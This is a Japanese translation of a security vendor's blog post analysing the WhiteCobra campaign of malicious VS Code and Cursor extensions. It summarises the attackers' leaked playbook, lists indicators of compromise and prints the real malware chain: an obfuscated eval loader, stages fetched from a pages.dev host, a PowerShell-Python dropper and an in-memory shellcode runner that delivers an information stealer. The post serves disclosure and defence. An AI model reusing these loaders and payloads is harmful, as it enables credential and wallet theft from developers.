過去1ヶ月間に、VSCode、Cursor、Windsurf ユーザーを標的とした24個の悪意あるエクステンションの新しい波が VSCode および OpenVSX マーケットプレイスに流入し、現在では彼らがどのようにそれを実行したかが正確に分かっています。
本日、我々が1年以上追跡してきた脅威アクター集団「WhiteCobra」による調整されたキャンペーンを暴露します。これは2ヶ月前に明らかになった50万ドルの暗号資産盗難の背後にいる同じグループであり、2024年から2025年に VSCode および OpenVSX マーケットプレイスに公開された多くの悪意あるエクステンション、そして進化した戦術で戻ってきました。
我々は彼らのプレイブックを回収することに成功しました。本日、複数年にわたって活動している高度な脅威アクター集団の運営の極めて稀な内部への一瞥を得ます。Koi は WhiteCobra のインフラストラクチャ、プロモーション戦略、および衝撃的な収益予測を明かす詳細な展開計画を回収することに成功しました。
この新しい波の悪意あるエクステンションは既に著名な被害者を出しています。暗号資産インフルエンサーのzak.eth は WhiteCobra の悪意あるCursor エクステンションによってウォレットを空にされ、この事件は X で200万回以上のビューを獲得しました。
zak.eth は単なる被害者ではなく、10年のセキュリティ経験を持つセキュリティプロフェッショナルであり、これらの攻撃が達成した洗練度のレベルをほのめかしています。この新しい波を報告して以来、彼らは削除されましたが、WhiteCobra は毎週新しい悪意あるエクステンションをアップロードし続けており、今週だけでもそうです。zak.eth を最後の被害者である可能性をはるかに低くしています。
WhiteCobra がお粗末な PowerShell マイナーから忍び寄る MacOS 互換の暗号資産スティーラーへと進化した方法、インストール数の水増しという彼らの古いトリックがどのように彼らを合法的に見せるのか、そしてマルチステージペイロード配信がどのように水面下で機能するのかを分解してみましょう。
50万ドル/時間計画:WhiteCobra の流出したプレイブック内部
我々は「DEPLOYMENT PLAN: Operation Solidity Pro」というタイトルのマークダウンファイルを回収することに成功し、映画のように犯罪事業計画のように読めます。
現在、彼らの詳細な計画をステップバイステップで分解しますが、このスモーキングガンの検閲版をこのブログ投稿に含めており、これらの攻撃の複製を可能にする技術的詳細を削除しています。
このドキュメントは潜在的な収益の冷徹な計算から始まります:
- 低い推定:時間あたり10,000ドル(高価値ウォレットを選別的に標的)
- 高い推定:時間あたり50万ドル(「くじら」ウォレットを打つ広範な感染)
しかし、収益予測はほんの始まりに過ぎません。プレイブックは VS Code エクステンションエコシステムを武器化するための完全なブループリントを提供します。
彼らの5段階攻撃戦略
- 段階1:パッケージング – 悪意ある VSIX ファイル作成の指示
- 段階2:展開 – 「説得力のある詳細」を使用して OpenVSX にアップロードする手順
- 段階3:プロモーション – ソーシャルメディアテンプレートとボットエンゲージメント戦術
- 段階4:水増し – 「社会的証拠」のために50,000 個の偽のダウンロードを生成する自動化スクリプト
- 段階5:流出 – 盗まれたシードフレーズのリアルタイム監視と即座の資金移動
このドキュメントには、盗まれた資金が送信されるべきウォレットアドレスや、ポート 8041 上の ScreenConnect バックドアを含む、コマンド&コントロールインフラストラクチャのセットアップに関する具体的な指示さえも含まれています。
偽のダウンロード:大規模での信頼性の製造
プレイブックからの最も有害な啓示の1つは、信頼性を偽造するための彼らの体系的なアプローチです:「ターゲットの50,000ダウンロードに達するまでスクリプトを実行させます。これはエクステンションを発見する開発者のための社会的証拠を提供します」(彼らのマニュアルから直接引用)。実際には、悪意あるエクステンションはしばしばそれより高い数字を持っています。本当にどの程度混乱しているかを見るために、次のスクリーンショットを詳しく見て、どれが本物の Solidity エクステンションで、どれがマルウェアかを推測してみてください。
108K ダウンロードの#1が合法的だと推測した場合、おめでとうございます!あなたはマルウェアをインストールしたばかりです。64K ダウンロード数の#2エクステンションは実際には合法的ですが、悪意あるバージョンはさらに信頼できるように見えるようにその数字を水増ししています。これはまさに zak.eth と数え切れないほかの開発者がどのように侵害されたかです。偽物はしばしば本物よりも本物に見えます。
プレイブックは、以下を含む、彼らのダウンロード水増し戦略の詳細を続けています:
- 「数千の高品質な住宅プロキシ」の調達
- 水増しを自動化する Python スクリプト(
download_bot.py) - 展開後すぐにボットを実行して瞬時に信頼性を作成する指示
ダウンロード数を大量に偽造することで、彼らは開発者、そしてときにはマーケットプレイスレビューシステムさえも、彼らのエクステンションが安全で、人気があり、ベットされていると考えるように騙し続けています。カジュアルな観察者にとって、100K インストールは合法性を示しています。それは彼らが賭けているものです。
規模での社会工学:X(Twitter)キャンペーン
プレイブックには事前に作成されたソーシャルメディアテンプレートと洗練されたプロモーション戦略が含まれています。彼らの投稿は開発者心理を悪用するように作成されています:
操作戦術に気づきます:
- 人工的な緊急性(「取り残されないでください」、「最後に参加する人になってはいけません」)
- 偽の社会的証拠(「50,000+開発者が切り替えた」- 彼らが生成した同じ偽のダウンロード)
- 積極的な配置(「Hardhat は終わった」、「彼らはあなたが持ってほしくない」)
- FOMO トリガー「時代遅れの」ツールを使用することについての開発者の不安を標的にします
プレイブックはオペレーターに以下を指示しています:
- 既知の開発者インフルエンサーにスタイル設定された「高信頼性 X アカウント」を使用
- 有機的な発見をシミュレートするために2時間の期間にわたって投稿を段階的に実施
- 「関連する開発者の会話に「いいね」を付け、リツイートしてコメントする」ボットを展開
この調整されたソーシャルメディア操作は、これらの悪意あるエクステンションがいかに迅速にトラクションを獲得するかを説明しています。本物の開発者がそれらについて議論を始める時までに、会話は既に偽の支持と人工的なバズで播種されています。
技術的ディープダイブ:WhiteCobra のペイロード配信チェーン
White Cobra の操作は永続的であるだけでなく、技術的にレイアウトされ、難読化され、意図的に回避的です。エクステンションの実行フローを見て、最終的な悪意あるエクステンションがどのように配信され、クロスプラットフォームで実行されるかをアンパックしましょう。
これはあなたの典型的なスクリプト小僧のセットアップではなく、慎重にステージングされた、プラットフォーム対応の感染チェーンです。
OpenVSX にアップロードされたエクステンション(実質的に同じ)の1つを分析してみましょう – 「juan-blanco」による「solidity」(合法的なエクステンションは「juanblanco」による同じ名前)
実際の難読化および難読化解除された悪意あるコードスニペットを持つマルチステージの楽しみになるので、準備してください!
段階1:実行が extension.js から始まる
一見すると、エクステンションのメインファイル「extension.js」は完全に無害に見えます。実際のところ、すべての VSCode エクステンションテンプレートに付属するデフォルトの「Hello World」ボイラープレートとほぼ同じです。疑わしい論理はありません。ただクリーンで、最小限のセットアップです。唯一の追加機能は、「./utils/prompt」から「ShowPrompt」関数への呼び出しです。
extension.js
const vscode = require("vscode");
const { ShowPrompt } = require("./utils/prompt");
// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
/**
* @param {vscode.ExtensionContext} context
*/
function activate(context) {
// Use the console to output diagnostic information (console.log) and errors (console.error)
// This line of code will only be executed once when your extension is activated
console.log("Congratulations, your extension is now active!");
const result = ShowPrompt();
. . .
この単純な呼び出しは prompt.js ファイルへの実行を引き渡します – 攻撃チェーンの真の入り口。悪意あるビヘイビアーをセカンダリスクリプトに隔離することで、脅威アクターは静的レビュー中に赤旗をトリガーすることを避けます。主なファイルのみをチェックする自動スキャン。
ShowPrompt() 関数は eval を使用して実行される追加コードを隠しています:
prompt.js
const translationsArr = [
. . .
"tcG$Rpcj1hc3lu",
"e2NvbnN$0IHR",
];
// Small helper function to show prompt
function ShowPrompt() {
// Get global store for singleton
const globalStore = globalThis;
// Get singleton
const singletonFunc = globalStore[atob("Z&X&Z&h&b&A&=&=&".replaceAll("&", ""))];
singletonFunc(atob(translationsArr.reverse().join("").replaceAll("$", "")));
}
eval がここに隠れています- “Z&X&Z&h&b&A&=&=&” -> “ZXZhbA==” -> “eval”
結果のスクリプトはプラットフォームに基づいて Cloudflare の pages.dev から次の段階をダウンロードします。
結果のスクリプト
if (!["win32", "darwin"].includes(process.platform)) return;
. . .
eval((await download(
process.platform === "win32"
? "https://g83u.pages.dev/hjxuw1x.txt"
: "https://g83u.pages.dev/qp5tr4f.txt"
)).toString());
段階2:プラットフォーム固有のペイロード
Windows ペイロードを見てみましょう – eval 呼び出しを隠すために同じトリックを使用し、base64 エンコード済みスクリプトを持っています:
Windows 2番目のペイロード
const anil6 = globalThis;
const airf3 = anil6[atob("Z$X$Z$h$bA$=$=$".replaceAll("$", ""))];
airf3(atob("e2N(vbnN(0(IGk9(YXN5bmMgdD0+e2xl(d(CAkPWF3YWl0(IGltcG9y( . . .
エンコード済みスクリプトは以下の通りです:
Windows 2番目のペイロード エンコード済みスクリプト
{const i=async t=>{let $=await import("path"),a=await import("os");return $.join(a.tmpdir(),t)};(async()=>{let t=await import("child_process"),$=await import("fs"),a=await import("path"),e=await i("abwgfrf"),c=a.join(e,"python.exe"),o=await i("ufqk6i6"),s=`$zip = "${e}.zip"; $dest = "${e}"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip); New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest); Remove-Item -Path $zip -Force;`;$.existsSync(c)||t.spawnSync("powershell.exe",["-Command",s],{stdio:"ignore",windowsHide:!0}),$.existsSync(c)&&($.writeFileSync(o,`aaclo = lambda s, r: s.replace(r, "")[::-1]
atvqe = globals()[aaclo("_&_&s&n&it&l&i&u&b&_&_", "&")]
aks5y = atvqe.__dict__[aaclo("r)t)t)a)t)eg)", ")")]
av3np = aks5y(atvqe, aaclo("_*_*t*r*o*p*m*i*_*_*", "*"))
a6t0x = aks5y(av3np(aaclo("46#e#s#a#b#", "#")), aaclo("e(d(o(ce(d(4(6(b(", "("))
aebbg = aks5y(av3np(aaclo("bi^l^z", "^")), aaclo("s&s&e&r&pm&oc&e&d&", "&"))
asd_d = aks5y(av3np(aaclo("s!nitl!iu!b!", "!")), aaclo("c#exe#", "#"))
asd_d(aebbg(a6t0x(aaclo("gxyb+$/Q8$K$QZnG/$XM$AvST0MVypXsVkeq$aVzh$vBz$OCBU$K$O$k9Na5IXnVIzkyq6RU$pTsd+$UyFgWb7W1stp/21qOj1120F9m8E$imKC$W7Qmcz$uuLRE$U/gpu+atIo+eTXEUpPXddo$X1$rVTrfh0jkWC0nYf6+k7n+3t$Sg/cO$YCDHhdpw+$p$s$Gb$IM$xbX2$7$h$TvnHwbPvn$w+3XpPR/X40Pofdt$aXrFuYD12ew7$2Mj/$gon5K$8$++A$p8XCE39A$Z7Kr$Qw$HbA1P$z1$g$9p+A7rE$/C1X$7PN5dRWj/r3uz6z/ygH$GQ$6LRcMs3TW$ObzI$8K3JGZdZBzdzND$H$Sq7TrhHG8pk2zlHT$9$ge4aJM$qh$GEwHrH$0Td$3B+IA$/yw$YOnHmL2hahXljt7CNRwfYP0$4qiaGd4KlnX51V7zjVMlE$hCFw$WOgx2XmSIh$kEfMC2OSoQxBAjIML0IC7X$lZ4kFLSfMNN7uPNm$dZPtt1j1$zF1$6h$kCBNnh9k$IoTXDMBGG9qzAwdjq$LP9ESo9Yr$fAHKFTcHxwL80$5SxP83LKZ1P97$9u$7hk$uhoa$u54IIXixYNofaj5Zc3f0t7$3$LioLnQJn$I$D5sDTeSF779$My12bHOQQN9hKB$ZjNUF2/$K0$3KU9TQlj$hau6S$9drgfEK47V8$mhpyBucrhIQE$lwZJJcHI$pTS$igwk8EVx1$u48si87m$mfr8Hy/I+5Rq$L6W$IIqi723ugczyI3RJ$dp$IOQS/DoJK$9$Fy$uMA1$HgW$KbBdZRIeXIHxRe$+31XE$YX8N5$NC3ZacaGputAsCREhMc9hwQH$LnlRY$fvgL$GqK5vYR$+QOQj$qasEzBv7UdqAlMQeW7r5i$2W$k9$xrL15SaERSgSE7DSy$Vo/wN/j5r$42$2E9RrBhS4EdchHzD2JNRhwC$8UvktzEXcnpORlbd5wwP3aQQrHm42gRZd5$eja+q$LzJ75X6lTQo0uFg$evn$22$325YFs6uuy$dcMc68D$PckjbB$d$ta2jX$tF$nzNSNZ78bcX$V/zP8Nn6NWV$a8XT$5X$371Z3$jgvzszPq7cql$UBNeG$ri8hv8wHZ$o8$8SP9$tWq$cxe5G$SHu$b7q$c/wNBdHlF$u5bdlq1N649$D0d1ZY65f460btZlvv$q$WWeul5ilhN4VX/t$3$oCbcHqPPhnpLYQz8$CwFv+fx99qr1rf7$Rc$6U/RdP9$hVnNM$4N$L08x$3S9zxf9BM74peTe0wn9E$U$8H3995ctUy$slchXc$27I2z+$yXdPmdK7ymL$1cz6Jk/X$zYS7$IXbHt+cE/$jX2JH7tmGmUcfd$cnXN+tuC$ga8hkXCVPMBc$9YdaY$PGXD2$xam7kqc8Vgg36$KtT$T$UVRQogzHNQJ$HkOwqQS6U0$jH5oqAOS$QJI$HHDtttPYI$63$tsDsg9okqFQdc$CR1hZ$AiKdZBnmRRoLgIcX$L5v7$nm+D$7eh2ZnpNJxwt$dv/WclsI+Q0$4ttdJ$Ukq$kh5IEIkxcs5xl$F$AnjrUU7bG8$TH+5xQgj4zl1$k9x$Je", "$"))))`),t.spawn(c,[o],{shell:!0,windowsHide:!0}),setTimeout(()=>process.exit(),2e3))})().catch(()=>0)}
複雑に見えます…少し難読化を解く詳細を見せましょう:
Windows 2番目のペイロード 難読化解除版
{
const createTmpDir = async t => {
let path= await import("path"), os=await import("os");
return path.join(os.tmpdir(),t)
};
(async() => {
let child_process=await import("child_process"),
fs=await import("fs"),
path=await import("path"),
tmpDir1=await createTmpDir("abwgfrf"),
resultPythonPath=path.join(tmpDir1,"python.exe"),
tmpDir2=await createTmpDir("ufqk6i6"),
powershellCommandInstallPython=`
$zip = "${tmpDir1}.zip";
$dest = "${tmpDir1}";
$wc = New-Object System.Net.WebClient;
$wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip);
New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem;
[IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest);
Remove-Item -Path $zip -Force;
`;
fs.existsSync(resultPythonPath) || child_process.spawnSync("powershell.exe",["-Command",powershellCommandInstallPython],{stdio:"ignore",windowsHide:!0}),
fs.existsSync(resultPythonPath) && (fs.writeFileSync(tmpDir2,`
builtins = globals()['__builtins__']
getattr = builtins.__dict__['getattr']
import = getattr(builtins, '__import__')
base64_b64decode = getattr(import('base64'), 'b64decode')
zlib_decompress = getattr(import('zlib'), 'decompress')
exec = getattr(import('builtins'), 'exec')
exec(zlib_decompress(base64_b64decode('eJx9k1lz4jgQx5+HT8Gb7UUrjnAFlx5scxkIEI5hkqkUJdtt40Q+IslcW/vdtwxJNpnZ2he7D+mn7v5LXcIgLoRRmnBZdKiAZh1RCcdQFqko9gsDst36IYPtttDHHIJQSOAqo5Hj0U6SQqwOkHJQNHzgoQRVUTTtK63ggV8cqk7max2DXGPYadY9cBMPVCXkh8agCut+NXncdfcUmGmt7HJ2Xj/Ec+tHbXI7SYzX/kJ6zc1Lmy7KdmPdXy+z2I72cXhclsyUtc5993H8UE9nw0eTep47MB9fxz9S3x80LN4MNnVh9PdR/U6cR7fr1rq99xf+vFwC8zQYLpnhPPqHcbCo3t/XV4Nhli5lueWWqvvlZtb064f56YZ1d0D946N1qldb5uFlHdBNw/cq7buHSG5excqWt9PS88oZHw8vh8irGeNBUlqc7qPzszvgj3Z173X5TX8aVWN6nN8Pz/VXcb87ZNSNznFtXj2atdBbjkcPD86cMcdyuu6sFY52322nvegFu0oQTl6X57JzLq+aje5dZRg24mHrQQa3Pww5dblROpncXEztkvU8CwhRNJ2DzHhcdE4ShBrR9E224r5j/Nw/oVySD7ESgSREaS51Lrx9kW2i5r7WeQMlAqdU7vBzEsaqjQOQ+RYv5KqGLgvfYRlnLHQwh9cMhERCsAtupGacaZ3CN5N8XYEX13+eRxHIXeIRZdBbKWgH1AMuyF9KJoD/SQOIpdJR3Iyzcgu327iqIIW6LqR5+I/yH8rfmm78is84u1xVE8kwgiSTpIHcJJZwlEQIhrcuByphm8V74KEfgrd9S6uahjlQT9UK30K/2FUNjZBKh9NQQOHb21yM977FSeTDs5DInJQnLoiL37t0f3cZ5jafoNYxiXII45uaohukh7u979P1ZKL38PxS508LwxHcTFKHAfrY9oSE9PLqjdwAzq9GGBMDXToIk9hnNBCkh61Fz1j1ttPZdmNPu7NNMfSLFk4ZlX7CI0LMIjABxQoSO2CMfEkhISmX2xgOWwFChElMVjz7V15XnlK4dGaiq40PYfwRNC7tjlXhah2LmHnOYwy/AI+B3dT0HrHwEGhqMJa4eg9THlz2kp8GHhrT7qSHDNzdzBZdZGJ3K8IzbOWT3sMcRL6QGHgy/z6zu3r/jWRd5NP7X1C/Er7A+p9g1zP1AbHwQrK7ZA93ECX8pA++8K5nog/jM27we21DYuFrXatdfoP04X/RPpX3+wnvPbwHnvTh72XbxMIbGsp+wpdhHDCYOc/gSt3+n7k+6fYn0CWkj0hfrTVr1XoddXPpUEXTe+oIta+upg/UERLuuzcmQ7WCKmiE8m9F0211jOq12/pts1W7bWgFyU+dsTpUR5qykzIVnXI5aN9kOKUBCOzBvhzVaqekVsXpyVM0TSvAMX/GnZQK8Q/+byxg'))))`),
child_process.spawn(resultPythonPath,[tmpDir2],{shell:!0,windowsHide:!0}),
setTimeout(()=>process.exit(),2e3))}
)().catch(()=>0)
}
ああ!つまり、Powershell を使用して単に Python をダウンロードし、その後エンコード済み Python スクリプトを実行しているだけです!
Python スクリプトは pages.dev から「pyd」拡張子(これは pyd ファイルとは無関係です)を持つファイルをダウンロードし、ハードコードされた置換キーを使用してそれを復号化し、ダウンロードされたシェルコードをメモリ内で直接実行します:
Python スクリプト
def Decrypt(buf):
key=base64.b64decode('irw5G1eUF1oZhDvaelBCTI/uzUYnPCX2L9LoAqFRtd6Wk8aR/I5UFUSunImvnixS+Bpl7zFcZKY4pOHZBaddcGBZqKXpffG5Cr6gW4sAFvm4MszJ9U7U8vfRfP/+eByGHSlAbZfwKgR1QQ4TGHupSt/7c+1vSWO6f4wPy3lDheafxZCy417BwkUgaW5fd08MYmtWqsTIt9N+jTbKxwkwmd2AKGo+RyQmzjcGrZI1vdDr3FNm1naxPQHz4qsQhwuacmzn2P1xB2idSKJYYbPllbCbDcO7iJhVIb8REgh0giLqSz/bz/T65DM0Hi5nH7Ytg9XAtNcrA+yBrBRNI+CjOg==');
return bytes(map(lambda v:key[v],buf))
def ExecuteInMemory(shellcode):
winkernel32=ctypes.windll.kernel32;
HeapAlloc=winkernel32.HeapAlloc;
HeapAlloc.argtypes=[wintypes.HANDLE,wintypes.DWORD,ctypes.c_size_t];
HeapAlloc.restype=A.LPVOID;
HeapCreate=winkernel32.HeapCreate;
HeapCreate.argtypes=[wintypes.DWORD,ctypes.c_size_t,ctypes.c_size_t];
HeapCreate.restype=wintypes.HANDLE;
RtlMoveMemory=winkernel32.RtlMoveMemory;
RtlMoveMemory.argtypes=[wintypes.LPVOID,wintypes.LPVOID,ctypes.c_size_t];
RtlMoveMemory.restype=wintypes.LPVOID;
CreateThread=winkernel32.CreateThread;
CreateThread.argtypes=[wintypes.LPVOID,ctypes.c_size_t,wintypes.LPVOID,wintypes.LPVOID,wintypes.DWORD,wintypes.LPVOID];
CreateThread.restype=wintypes.HANDLE;
WaitForSignalObject=winkernel32.WaitForSingleObject;
WaitForSignalObject.argtypes=[wintypes.HANDLE,wintypes.DWORD];
WaitForSignalObject.restype=wintypes.DWORD;
HeapCreate2=HeapCreate(262144,len(shellcode),0);
HeapAlloc(HeapCreate2,8,len(shellcode));
RtlMoveMemory(HeapCreate2,shellcode,len(shellcode));
NewThread=CreateThread(0,0,HeapCreate2,0,0,0);
WaitForSignalObject(NewThread,4294967295)
ExecuteInMemory(Decrypt(FetchFromURL('https://g83u.pages.dev/m22yo21.pyd')))
段階3:シェルコード実行可能ファイル
シェルコードは PE 実行可能ファイル – LummaStealer(商用情報スティーラー)を実行し、マシンから暗号資産情報などを盗みます。
我々がこれを分析し、マシン内の多くの異なるサービスを探していることを発見しました:
- 暗号資産ウォレットと情報
- anydesk、VPN、VNC などの接続サービス
- クラウドインフラストラクチャ
- メッセージングプラットフォーム
- パスワードマネージャー
- ウォレット&パスワード管理ブラウザエクステンション

実行中、以下の C2 サーバーと通信します:
- Iliafmoj[.]forum
- mastwin[.]in
最後に
WhiteCobra の流出したプレイブックは彼らの戦術以上のものを明かしています。これはエクステンションベースの攻撃の産業化を暴露しています。文書化されたプロセス、自動化ツール、被害者を単なる数字として扱う収益予測により、これはハッキングではなく、事業運営です。
24のバリアントを報告して以来、削除されましたが、WhiteCobra は毎日新しい悪意あるエクステンションをアップロードし続けています。プレイブックは、彼らがパッケージングからプロモーションから利益まで、3時間以内に新しいキャンペーンを展開できることを示しています。
攻撃者の洗練さと開発者の防衛の間の拡大するこのギャップが本当の危険です。WhiteCobra のような脅威アクターは産業化された精密度で運営されており、毎日の開発者は安全なツールと悪意あるものを区別するための信頼できる方法がほぼありません。マーケットプレイスレーティング、ダウンロード数、さらには公式レビューでさえ、すべてを操作することができ、季節の専門家でさえ脆弱なままです。信頼と検証のためのより優れたメカニズムがなければ、利点は攻撃者の側に確かに留まります。
Koi はこの問題を解決するために構築されました。我々のプラットフォームは実業家とエンタープライズに VS Code、NPM、Chrome Web Store、Hugging Face、Homebrew などのエコシステムから彼らのチームが持ち込むものを発見し、評価し、制御する能力を与えます。本日、世界最大の銀行、フォーチュン50企業、および大手技術企業の一部が、可視性をもたらし、ガバナンスを確立し、積極的にこの拡大する攻撃表面を縮小するプロセスを自動化するために Koi に依存しています。
それがどのように機能するかを見たい場合、またはアクションを起こす準備ができている場合は、デモを予約するか、我々に連絡してください。
もっと共有できることがあるので、注視していてください。
IOC
エクステンション ID:
Open-VSX(Cursor/Windsurf)
ChainDevTools.solidity-prokilocode-ai.kilo-codenomic-fdn.hardhat-solidityoxc-vscode.oxcjuan-blanco.soliditykineticsquid.solidity-ethereum-vscETHFoundry.solidityethereumJuanFBlanco.solidity-ai-ethereumEthereum.solidity-ethereumjuan-blanco.solidityNomicFdn.hardhat-solidityjuan-blanco.vscode-soliditynomic-foundation.hardhat-soliditynomic-fdn.solidity-hardhatCrypto-Extensions.solidityCrypto-Extensions.SnowShsoNo
VS Code
JuanFBlanco.awswhhETHFoundry.etherfoundrysEllisonBrett.givingblankiesMarcusLockwood.wgbkVitalikButerin-EthFoundation.blan-coShowSnowcrypto.SnowShoNoCrypto-Extensions.SnowShsoNoRojo.rojo-roblox-vscode
ネットワーク IOC:
https://g83u.pages[.]dev/hjxuw1x.txthttps://g83u.pages[.]dev/qp5tr4f.txtIliafmoj[.]forummastwin[.]inniggboo[.]com
ファイルハッシュ:
1a728a7b7f68a71474a6a04f92960b18aae45ae5d00ea9a1d88174f8bd4ffa10– Mac ARM 実行可能ファイル89848e8a1c8840a0561fcae2948b5941ed55a53474298007d7272f391b28c1b9– Mac ARM 実行可能ファイルfa078483566de02cb64d970d06aa82470beee4c665cfee6915968cb0adb2c6c4– Mac Intel 実行可能ファイル39459ad404c9f0ad361d82b9f96d60f13a9281d3746ada4ef8675dd80fcb9a7e– Mac Intel 実行可能ファイルe8ce84a6e84d4bb0ee50dcde0a72dab9f2e6a2c2f80eeab4df243d5eaaa57a6f– Windows シェルコード99b976ff0908b03d277bc96d0010b0f1aef8ae1529b753c645c57b7399760a51– Windows シェルコード22350ef4cdee6af4cbe7809f98256dbfd882dab08ea51ab14880d5da9ce9c06d– Windows LummaStealer118b10295fea2613f72bc89074db9ab82a57c44ab7f62bddb3a86a4ed87f379f– Windows LummaStealer
翻訳元: https://www.koi.ai/blog/whitecobra-vscode-cursor-extensions-malware